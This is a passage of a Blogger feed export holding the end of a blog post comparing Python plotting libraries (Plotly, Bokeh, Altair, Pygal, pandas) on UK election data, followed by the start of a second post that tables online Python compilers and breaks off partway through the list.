    &lt;img alt=&quot;Seaborn plot of British election data&quot; class=&quot;media-element file-default&quot; data-delta=&quot;3&quot; height=&quot;519&quot; src=&quot;https://opensource.com/sites/default/files/uploads/seaborn.png&quot; title=&quot;Seaborn plot of British election data&quot; typeof=&quot;foaf:Image&quot; width=&quot;675&quot; /&gt;&lt;/div&gt;

  
&lt;/div&gt;
&lt;/div&gt;

          &lt;/section&gt;
          
          &lt;section class=&quot;section2&quot; id=&quot;plotly&quot;&gt;
          &lt;h2&gt;Plotly&lt;a class=&quot;headerlink&quot; href=&quot;#plotly&quot; title=&quot;Permanent link&quot;&gt;&lt;/a&gt;&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://plot.ly/&quot; target=&quot;_blank&quot; rel=&quot;nofollow&quot;&gt;Plotly&lt;/a&gt; is a plotting ecosystem that includes a Python plotting library. It has three different interfaces:&lt;/p&gt;

&lt;ul&gt;&lt;li&gt;An object-oriented interface&lt;/li&gt;
	&lt;li&gt;An imperative interface that allows you to specify your plot using JSON-like data structures&lt;/li&gt;
	&lt;li&gt;A high-level interface similar to Seaborn called Plotly Express&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Plotly plots are designed to be embedded in web apps. At its core, Plotly is actually a JavaScript library! It uses &lt;a href=&quot;https://d3js.org/&quot; target=&quot;_blank&quot;&gt;D3&lt;/a&gt; and &lt;a href=&quot;http://stack.gl/&quot; target=&quot;_blank&quot; rel=&quot;nofollow&quot;&gt;stack.gl&lt;/a&gt; to draw the plots.&lt;/p&gt;

&lt;p&gt;You can build Plotly libraries in other languages by passing JSON to the JavaScript library. The official Python and R libraries do just that. At Anvil, we ported the Python Plotly API to &lt;a href=&quot;https://anvil.works/docs/client/components/plots&quot; target=&quot;_blank&quot; rel=&quot;nofollow&quot;&gt;run in the web browser&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Here&#39;s the source code in Plotly (which you can run &lt;a href=&quot;https://anvil.works/blog/plotting-in-plotly&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;):&lt;/p&gt;

&lt;pre class=&quot;cssterm&quot; title=&quot;Triple click to select a complete line!&quot;&gt;
&lt;code&gt;
import plotly.graph_objects as go
from votes import wide as df

#  Get a convenient list of x-values
years = df[&#39;year&#39;]
x = list(range(len(years)))

# Specify the plots
bar_plots = [
    go.Bar(x=x, y=df[&#39;conservative&#39;], name=&#39;Conservative&#39;, marker=go.bar.Marker(color=&#39;#0343df&#39;)),
    go.Bar(x=x, y=df[&#39;labour&#39;], name=&#39;Labour&#39;, marker=go.bar.Marker(color=&#39;#e50000&#39;)),
    go.Bar(x=x, y=df[&#39;liberal&#39;], name=&#39;Liberal&#39;, marker=go.bar.Marker(color=&#39;#ffff14&#39;)),
    go.Bar(x=x, y=df[&#39;others&#39;], name=&#39;Others&#39;, marker=go.bar.Marker(color=&#39;#929591&#39;)),
]

# Customise some display properties
layout = go.Layout(
    title=go.layout.Title(text=&quot;Election results&quot;, x=0.5),
    yaxis_title=&quot;Seats&quot;,
    xaxis_tickmode=&quot;array&quot;,
    xaxis_tickvals=list(range(27)),
    xaxis_ticktext=tuple(df[&#39;year&#39;].values),
)

# Make the multi-bar plot
fig = go.Figure(data=bar_plots, layout=layout)

# Tell Plotly to render it
fig.show()
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;And the election results plot:&lt;/p&gt;

&lt;p&gt;&lt;/p&gt;&lt;div class=&quot;media media-element-container media-default media-wysiwyg-align-center&quot;&gt;&lt;div class=&quot;file file-image file-image-gif&quot; id=&quot;file-469416&quot;&gt;

        
    
  
  &lt;div class=&quot;content&quot;&gt;
    &lt;img alt=&quot;Plotly plot of British election data&quot; class=&quot;media-element file-default&quot; data-delta=&quot;4&quot; height=&quot;474&quot; src=&quot;https://opensource.com/sites/default/files/uploads/plotly.gif&quot; title=&quot;Plotly plot of British election data&quot; typeof=&quot;foaf:Image&quot; width=&quot;992&quot; /&gt;&lt;/div&gt;

  
&lt;/div&gt;
&lt;/div&gt;

          &lt;/section&gt;
          
          &lt;section class=&quot;section2&quot; id=&quot;bokeh&quot;&gt;
          &lt;h2&gt;Bokeh&lt;a class=&quot;headerlink&quot; href=&quot;#bokeh&quot; title=&quot;Permanent link&quot;&gt;&lt;/a&gt;&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://docs.bokeh.org/en/latest/index.html&quot; target=&quot;_blank&quot; rel=&quot;nofollow&quot;&gt;Bokeh&lt;/a&gt; (pronounced &quot;BOE-kay&quot;) specializes in building interactive plots, so this standard example doesn&#39;t show it off to its best. Like Plotly, Bokeh&#39;s plots are designed to be embedded in web apps; it outputs its plots as HTML files.&lt;/p&gt;

&lt;p&gt;Here is the code in Bokeh (which you can run &lt;a href=&quot;https://anvil.works/blog/plotting-in-bokeh&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;)&lt;/p&gt;

&lt;pre class=&quot;cssterm&quot; title=&quot;Triple click to select a complete line!&quot;&gt;
&lt;code&gt;
from bokeh.io import show, output_file
from bokeh.models import ColumnDataSource, FactorRange, HoverTool
from bokeh.plotting import figure
from bokeh.transform import factor_cmap
from votes import long as df

# Specify a file to write the plot to
output_file(&quot;elections.html&quot;)

# Tuples of groups (year, party)
x = [(str(r[1][&#39;year&#39;]), r[1][&#39;party&#39;]) for r in df.iterrows()]
y = df[&#39;seats&#39;]

# Bokeh wraps your data in its own objects to support interactivity
source = ColumnDataSource(data=dict(x=x, y=y))

# Create a colourmap
cmap = {
    &#39;Conservative&#39;: &#39;#0343df&#39;,
    &#39;Labour&#39;: &#39;#e50000&#39;,
    &#39;Liberal&#39;: &#39;#ffff14&#39;,
    &#39;Others&#39;: &#39;#929591&#39;,
}
fill_color = factor_cmap(&#39;x&#39;, palette=list(cmap.values()), factors=list(cmap.keys()), start=1, end=2)

# Make the plot
p = figure(x_range=FactorRange(*x), width=1200, title=&quot;Election results&quot;)
p.vbar(x=&#39;x&#39;, top=&#39;y&#39;, width=0.9, source=source, fill_color=fill_color, line_color=fill_color)

# Customise some display properties
p.y_range.start = 0
p.x_range.range_padding = 0.1
p.yaxis.axis_label = &#39;Seats&#39;
p.xaxis.major_label_orientation = 1
p.xgrid.grid_line_color = None
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;And the plot:&lt;/p&gt;

&lt;p&gt;&lt;/p&gt;&lt;div class=&quot;media media-element-container media-default media-wysiwyg-align-center&quot;&gt;&lt;div class=&quot;file file-image file-image-png&quot; id=&quot;file-469421&quot;&gt;

        
    
  
  &lt;div class=&quot;content&quot;&gt;
    &lt;img alt=&quot;Bokeh plot of British election data&quot; class=&quot;media-element file-default&quot; data-delta=&quot;5&quot; height=&quot;333&quot; src=&quot;https://opensource.com/sites/default/files/uploads/bokeh.png&quot; title=&quot;Bokeh plot of British election data&quot; typeof=&quot;foaf:Image&quot; width=&quot;675&quot; /&gt;&lt;/div&gt;

  
&lt;/div&gt;
&lt;/div&gt;

          &lt;/section&gt;
          
          &lt;section class=&quot;section2&quot; id=&quot;altair&quot;&gt;
          &lt;h2&gt;Altair&lt;a class=&quot;headerlink&quot; href=&quot;#altair&quot; title=&quot;Permanent link&quot;&gt;&lt;/a&gt;&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://altair-viz.github.io/&quot; target=&quot;_blank&quot; rel=&quot;nofollow&quot;&gt;Altair&lt;/a&gt; is based on a declarative plotting language (or &quot;visualization grammar&quot;) called &lt;a href=&quot;https://vega.github.io/vega/&quot; target=&quot;_blank&quot; rel=&quot;nofollow&quot;&gt;Vega&lt;/a&gt;. This means it&#39;s a well-thought-through API that scales well for complex plots, saving you from getting lost in nested-for-loop hell.&lt;/p&gt;

&lt;p&gt;As with Bokeh, Altair outputs its plots as HTML files. Here&#39;s the code (which you can run &lt;a href=&quot;https://anvil.works/blog/plotting-in-altair&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;):&lt;/p&gt;

&lt;pre class=&quot;cssterm&quot; title=&quot;Triple click to select a complete line!&quot;&gt;
&lt;code&gt;
import altair as alt
from votes import long as df

# Set up the colourmap
cmap = {
    &#39;Conservative&#39;: &#39;#0343df&#39;,
    &#39;Labour&#39;: &#39;#e50000&#39;,
    &#39;Liberal&#39;: &#39;#ffff14&#39;,
    &#39;Others&#39;: &#39;#929591&#39;,
}

# Cast years to strings
df[&#39;year&#39;] = df[&#39;year&#39;].astype(str)

# Here&#39;s where we make the plot
chart = alt.Chart(df).mark_bar().encode(
    x=alt.X(&#39;party&#39;, title=None),
    y=&#39;seats&#39;,
    column=alt.Column(&#39;year&#39;, sort=list(df[&#39;year&#39;]), title=None),
    color=alt.Color(&#39;party&#39;, scale=alt.Scale(domain=list(cmap.keys()), range=list(cmap.values())))
)

# Save it as an HTML file.
chart.save(&#39;altair-elections.html&#39;)
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;And the resulting chart:&lt;/p&gt;

&lt;p&gt;&lt;/p&gt;&lt;div class=&quot;media media-element-container media-default media-wysiwyg-align-center&quot;&gt;&lt;div class=&quot;file file-image file-image-png&quot; id=&quot;file-469426&quot;&gt;

        
    
  
  &lt;div class=&quot;content&quot;&gt;
    &lt;img alt=&quot;Altair plot of British election data&quot; class=&quot;media-element file-default&quot; data-delta=&quot;6&quot; height=&quot;175&quot; src=&quot;https://opensource.com/sites/default/files/uploads/altair.png&quot; title=&quot;Altair plot of British election data&quot; typeof=&quot;foaf:Image&quot; width=&quot;675&quot; /&gt;&lt;/div&gt;

  
&lt;/div&gt;
&lt;/div&gt;

          &lt;/section&gt;
          
          &lt;section class=&quot;section2&quot; id=&quot;pygal&quot;&gt;
          &lt;h2&gt;Pygal&lt;a class=&quot;headerlink&quot; href=&quot;#pygal&quot; title=&quot;Permanent link&quot;&gt;&lt;/a&gt;&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;http://www.pygal.org/en/stable/&quot; target=&quot;_blank&quot; rel=&quot;nofollow&quot;&gt;Pygal&lt;/a&gt; focuses on visual appearance. It produces SVG plots by default, so you can zoom them forever or print them out without them getting pixellated. Pygal plots also come with some good interactivity features built-in, making Pygal another underrated candidate if you&#39;re looking to embed plots in a web app.&lt;/p&gt;

&lt;p&gt;The source code looks like this (and you can run it &lt;a href=&quot;https://anvil.works/blog/plotting-in-pygal&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;):&lt;/p&gt;

&lt;pre class=&quot;cssterm&quot; title=&quot;Triple click to select a complete line!&quot;&gt;
&lt;code&gt;
import pygal
from pygal.style import Style
from votes import wide as df

# Define the style
custom_style = Style(
    colors=(&#39;#0343df&#39;, &#39;#e50000&#39;, &#39;#ffff14&#39;, &#39;#929591&#39;)
    font_family=&#39;Roboto,Helvetica,Arial,sans-serif&#39;,
    background=&#39;transparent&#39;,
    label_font_size=14,
)

# Set up the bar plot, ready for data
c = pygal.Bar(
    title=&quot;UK Election Results&quot;,
    style=custom_style,
    y_title=&#39;Seats&#39;,
    width=1200,
    x_label_rotation=270,
)

# Add four data sets to the bar plot
c.add(&#39;Conservative&#39;, df[&#39;conservative&#39;])
c.add(&#39;Labour&#39;, df[&#39;labour&#39;])
c.add(&#39;Liberal&#39;, df[&#39;liberal&#39;])
c.add(&#39;Others&#39;, df[&#39;others&#39;])

# Define the X-labels
c.x_labels = df[&#39;year&#39;]

# Write this to an SVG file
c.render_to_file(&#39;pygal.svg&#39;)
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;And the chart:&lt;/p&gt;

&lt;p&gt;&lt;/p&gt;&lt;div class=&quot;media media-element-container media-default media-wysiwyg-align-center&quot;&gt;&lt;div class=&quot;file file-image file-image-png&quot; id=&quot;file-469431&quot;&gt;

        
    
  
  &lt;div class=&quot;content&quot;&gt;
    &lt;img alt=&quot;Pygal plot of British election data&quot; class=&quot;media-element file-default&quot; data-delta=&quot;7&quot; height=&quot;351&quot; src=&quot;https://opensource.com/sites/default/files/uploads/pygal.png&quot; title=&quot;Pygal plot of British election data&quot; typeof=&quot;foaf:Image&quot; width=&quot;675&quot; /&gt;&lt;/div&gt;

  
&lt;/div&gt;
&lt;/div&gt;

          &lt;/section&gt;
          
          &lt;section class=&quot;section2&quot; id=&quot;pandas&quot;&gt;
          &lt;h2&gt;Pandas&lt;a class=&quot;headerlink&quot; href=&quot;#pandas&quot; title=&quot;Permanent link&quot;&gt;&lt;/a&gt;&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://pandas.pydata.org/&quot; target=&quot;_blank&quot; rel=&quot;nofollow&quot;&gt;Pandas&lt;/a&gt; is an extremely popular data science library for Python. It allows you to do all sorts of data manipulation scalably, but it also has a convenient plotting API. Because it operates directly on data frames, the pandas example is the most concise code snippet in this article—even shorter than the Seaborn code!&lt;/p&gt;

&lt;p&gt;The pandas API is a wrapper around Matplotlib, so you can also use the underlying Matplotlib API to get fine-grained control of your plots.&lt;/p&gt;

&lt;p&gt;Here&#39;s the election results plot in pandas. The code is beautifully concise!&lt;/p&gt;

&lt;pre class=&quot;cssterm&quot; title=&quot;Triple click to select a complete line!&quot;&gt;
&lt;code&gt;
from matplotlib.colors import ListedColormap
from votes import wide as df

cmap = ListedColormap([&#39;#0343df&#39;, &#39;#e50000&#39;, &#39;#ffff14&#39;, &#39;#929591&#39;])

ax = df.plot.bar(x=&#39;year&#39;, colormap=cmap)

ax.set_xlabel(None)
ax.set_ylabel(&#39;Seats&#39;)
ax.set_title(&#39;UK election results&#39;)

plt.show()
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;And the resulting chart:&lt;/p&gt;

&lt;p&gt;&lt;/p&gt;&lt;div class=&quot;media media-element-container media-default media-wysiwyg-align-center&quot;&gt;&lt;div class=&quot;file file-image file-image-png&quot; id=&quot;file-469436&quot;&gt;

        
    
  
  &lt;div class=&quot;content&quot;&gt;
    &lt;img alt=&quot;Pandas plot of British election data&quot; class=&quot;media-element file-default&quot; data-delta=&quot;8&quot; height=&quot;522&quot; src=&quot;https://opensource.com/sites/default/files/uploads/pandas.png&quot; title=&quot;Pandas plot of British election data&quot; typeof=&quot;foaf:Image&quot; width=&quot;675&quot; /&gt;&lt;/div&gt;

  
&lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;To run this example, check out &lt;a href=&quot;https://anvil.works/blog/plotting-in-pandas&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
    
&lt;h2 id=&quot;plot-your-way&quot;&gt;Plot your way&lt;/h2&gt;

&lt;p&gt;Python offers many ways to plot the same data without much code. While you can get started quickly creating charts with any of these methods, they do take some local configuration. &lt;a href=&quot;https://anvil.works/&quot; target=&quot;_blank&quot; rel=&quot;nofollow&quot;&gt;Anvil&lt;/a&gt; offers a beautiful web-based experience for Python development if you&#39;re in need. Happy plotting!&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;panel-pane pane-block pane-bean-article-promo-block&quot;&gt;
  
      
  
  &lt;div about=&quot;/block/article-promo-block&quot; class=&quot;entity entity-bean bean-generic-block clearfix&quot; typeof=&quot;&quot;&gt;

  &lt;div class=&quot;content&quot;&gt;
    &lt;div class=&quot;field field-name-field-body field-type-text-long field-label-hidden&quot;&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;  &lt;/div&gt;
&lt;/div&gt;

  
  &lt;/div&gt;

  
&lt;div class=&quot;alert alert-warning&quot; id=&quot;more-python-resources&quot;&gt;
&lt;strong&gt;More Python Resources&lt;/strong&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li class=&quot;first&quot;&gt;&lt;a href=&quot;https://pysnakeblog.blogspot.com/2019/09/python-fun-with-control-and-repeat.html&quot;&gt;Fun with Control and repeat&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pysnakeblog.blogspot.com/2022/01/the-7-most-popular-ways-to-plot-data-in.html&quot;&gt;Top 11 Essential Python Tips and Tricks&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pysnakeblog.blogspot.com/2019/09/microprogramming-session-with-python.html&quot;&gt;Microprogramming session with Python - Fun with Math sums&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pysnakeblog.blogspot.com/2019/09/python-underline-string-python.html&quot;&gt;Python underline string&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pysnakeblog.blogspot.com/2020/01/python-time-stamp-total-format.html&quot;&gt;Python - Time Stamp total Format &lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;last&quot;&gt;&lt;a href=&quot;https://pysnakeblog.blogspot.com/2021/05/kivy-app-full-tutorial-part-1-debug.html&quot;&gt;Kivy App Full Tutorial - (Part 1) | Debug Mode&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;  


&lt;/div&gt;

</content><link rel='replies' type='application/atom+xml' href='https://pysnakeblog.blogspot.com/feeds/5510109671438111917/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://pysnakeblog.blogspot.com/2022/01/the-7-most-popular-ways-to-plot-data-in.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/8568547122643448686/posts/default/5510109671438111917'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/8568547122643448686/posts/default/5510109671438111917'/><link rel='alternate' type='text/html' href='https://pysnakeblog.blogspot.com/2022/01/the-7-most-popular-ways-to-plot-data-in.html' title='The 7 most popular ways to plot data in Python'/><author><name>Joel Dcosta</name><uri>http://www.blogger.com/profile/12207789043143575856</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8568547122643448686.post-8325087103117300175</id><published>2021-12-25T03:03:00.052-08:00</published><updated>2022-04-01T02:33:12.705-07:00</updated><title type='text'>List of Python Compiler Online | Python Online Compiler | Python Compiler</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEi4PB30BwIV3d5ujm5N2z96JLAiMS6EoJGysAC88lKyXrNgcyUH5glf5XLJsxaMXmO39xUbuCvZf8MHxb7zl7Lc6B3ypxi9Ajj_4jycEUp80yQ3e51TUBuBdInQbPhOFd8q9pF1kap6f3gyyVR0abFEKXOn8fc53Q0Ud2i8RAH_5x8b8QwEemciOhse=s747&quot; style=&quot;display: block; padding: 1em 0; text-align: center; &quot;&gt;&lt;img alt = &quot;python compiler online, python online compiler, python compiler, python, python download, python tutorial, python tutor, python online editor, python editor online&quot; border=&quot;0&quot; height=&quot;320&quot; data-original-height=&quot;747&quot; data-original-width=&quot;732&quot; src=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEi4PB30BwIV3d5ujm5N2z96JLAiMS6EoJGysAC88lKyXrNgcyUH5glf5XLJsxaMXmO39xUbuCvZf8MHxb7zl7Lc6B3ypxi9Ajj_4jycEUp80yQ3e51TUBuBdInQbPhOFd8q9pF1kap6f3gyyVR0abFEKXOn8fc53Q0Ud2i8RAH_5x8b8QwEemciOhse=s320&quot; title = &quot;python compiler online, python online compiler, python compiler, python, python download, python tutorial, python tutor, python online editor, python editor online&quot;/&gt;&lt;/a&gt;&lt;/div&gt;

&lt;p&gt;I have found total of 99 List of Python Compiler Online which would be really helpful to you all.&lt;/p&gt;&lt;p&gt;Here are some of them.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;style&gt;
#customers {
  font-family: Arial, Helvetica, sans-serif;
  border-collapse: collapse;
  width: 100%;
  color: black;
  
}

#customers td, #customers th {
  border: 5px solid #FF9D7C;
  padding: 8px;
  font-size:80%; 
  max-width: 150px;
  overflow: hidden;
  min-height: 1.2em;
}

#customers tr:nth-child(even){background-color: #F7F7F7;}
#customers tr:nth-child(odd){background-color: #DDDDDD;}
#customers tr:hover {background-color: #FF9D7C;color:white;}

#customers th {
  padding-top: 12px;
  padding-bottom: 12px;
  text-align: left;
  background-color: #F16334;
  color: white;

}
&lt;/style&gt;


&lt;table border=1 class=&quot;table table-striped table-bordered table-hover table-condensed&quot; id=&quot;customers&quot;&gt;
&lt;thead&gt;&lt;tr&gt;&lt;th title=&quot;Field #1&quot;&gt;No&lt;/th&gt;
&lt;th title=&quot;Field #2&quot;&gt;List of Python Compiler Online&lt;/th&gt;
&lt;th title=&quot;Field #3&quot;&gt;Site URL&lt;/th&gt;
&lt;th title=&quot;Field #4&quot;&gt;Main Site&lt;/th&gt;
&lt;/tr&gt;&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;
&lt;td&gt;Online Python Compiler (Interpreter) - Programiz&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://pysnakeblog.blogspot.com/p/checking-link.html?link=http://www.programiz.com/python-programming/online-compiler/&quot;&gt;http://www.programiz.com/python-programming/online-compiler/&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;programiz.com&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;2&lt;/td&gt;
&lt;td&gt;Online Python Compiler - online editor&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://pysnakeblog.blogspot.com/p/checking-link.html?link=http://www.onlinegdb.com/online_python_compiler&quot;&gt;http://www.onlinegdb.com/online_python_compiler&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;onlinegdb.com&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;3&lt;/td&gt;
&lt;td&gt;Python Online Compiler (Editor / Interpreter) - W3Schools&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://pysnakeblog.blogspot.com/p/checking-link.html?link=http://www.w3schools.com/python/python_compiler.asp&quot;&gt;http://www.w3schools.com/python/python_compiler.asp&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;w3schools.com&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;4&lt;/td&gt;
&lt;td&gt;Execute Python Online - Tutorialspoint&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://pysnakeblog.blogspot.com/p/checking-link.html?link=http://www.tutorialspoint.com/execute_python_online.php&quot;&gt;http://www.tutorialspoint.com/execute_python_online.php&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;tutorialspoint.com&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;5&lt;/td&gt;
&lt;td&gt;Online Python - IDE, Editor, Compiler, Interpreter&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://pysnakeblog.blogspot.com/p/checking-link.html?link=http://www.online-python.com/&quot;&gt;http://www.online-python.com/&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;online-python.com&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;6&lt;/td&gt;
&lt;td&gt;Write, run and share Python code online - OneCompiler&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://pysnakeblog.blogspot.com/p/checking-link.html?link=http://onecompiler.com/python&quot;&gt;http://onecompiler.com/python&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;onecompiler.com&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;7&lt;/td&gt;
&lt;td&gt;Online Python 3 IDE - JDoodle&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://pysnakeblog.blogspot.com/p/checking-link.html?link=http://www.jdoodle.com/python3-programming-online/&quot;&gt;http://www.jdoodle.com/python3-programming-online/&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;jdoodle.com&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;8&lt;/td&gt;
&lt;td&gt;Online Python Compiler&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://pysnakeblog.blogspot.com/p/checking-link.html?link=http://www.interviewbit.com/online-python-compiler/&quot;&gt;http://www.interviewbit.com/online-python-compiler/&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;interviewbit.com&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;9&lt;/td&gt;
&lt;td&gt;Top 6 Online Python Compiler Picks for 2022 - Naukri.com&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://pysnakeblog.blogspot.com/p/checking-link.html?link=http://www.naukri.com/learning/articles/top-online-python-compiler-picks/&quot;&gt;http://www.naukri.com/learning/articles/top-online-python-compiler-picks/&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;naukri.com&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;10&lt;/td&gt;
&lt;td&gt;Online Python Compiler (Editor / Interpreter / IDE) to Run Code&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://pysnakeblog.blogspot.com/p/checking-link.html?link=http://www.guru99.com/execute-python-online.html&quot;&gt;http://www.guru99.com/execute-python-online.html&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;guru99.com&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;11&lt;/td&gt;
&lt;td&gt;Python is a programming language that lets you work quickly&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://pysnakeblog.blogspot.com/p/checking-link.html?link=http://www.python.org/shell/&quot;&gt;http://www.python.org/shell/&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;python.org&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;12&lt;/td&gt;
&lt;td&gt;Python Online Compiler &amp;amp; Interpreter - Replit&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://pysnakeblog.blogspot.com/p/checking-link.html?link=http://replit.com/languages/online-python-compiler&quot;&gt;http://replit.com/languages/online-python-compiler&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;replit.com&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;13&lt;/td&gt;
&lt;td&gt;Python Compiler Editor - Google Workspace Marketplace&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://pysnakeblog.blogspot.com/p/checking-link.html?link=http://workspace.google.com/marketplace/app/python_compiler_editor/807307805212&quot;&gt;http://workspace.google.com/marketplace/app/python_compiler_editor/807307805212&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;workspace.google.com&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;14&lt;/td&gt;
&lt;td&gt;Code, Compile &amp;amp; Run - CodeChef&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://pysnakeblog.blogspot.com/p/checking-link.html?link=http://www.codechef.com/ide&quot;&gt;http://www.codechef.com/ide&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;codechef.com&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;15&lt;/td&gt;
&lt;td&gt;Ideone.com: Online Compiler and IDE &amp;gt;&amp;gt; C/C++, Java, PHP ...&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://pysnakeblog.blogspot.com/p/checking-link.html?link=http://ideone.com/&quot;&gt;http://ideone.com/&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;ideone.com&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;16&lt;/td&gt;
&lt;td&gt;Online Python Compiler - Geekflare&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://pysnakeblog.blogspot.com/p/checking-link.html?link=http://geekflare.com/online-compiler/python&quot;&gt;http://geekflare.com/online-compiler/python&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;geekflare.com&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;17&lt;/td&gt;
&lt;td&gt;online python compiler with all modules Code Example&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://pysnakeblog.blogspot.com/p/checking-link.html?link=http://www.codegrepper.com/code-examples/python/online+python+compiler+with+all+modules&quot;&gt;http://www.codegrepper.com/code-examples/python/online+python+compiler+with+all+modules&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;codegrepper.com&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;18&lt;/td&gt;
&lt;td&gt;Python 3.5 Online Compiler and Editor (IDE) - workat.tech&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://pysnakeblog.blogspot.com/p/checking-link.html?link=http://workat.tech/ide/online-python-compiler&quot;&gt;http://workat.tech/ide/online-python-compiler&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;workat.tech&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;19&lt;/td&gt;
&lt;td&gt;Online Python Code Editor - PYnative&lt;/td&gt;
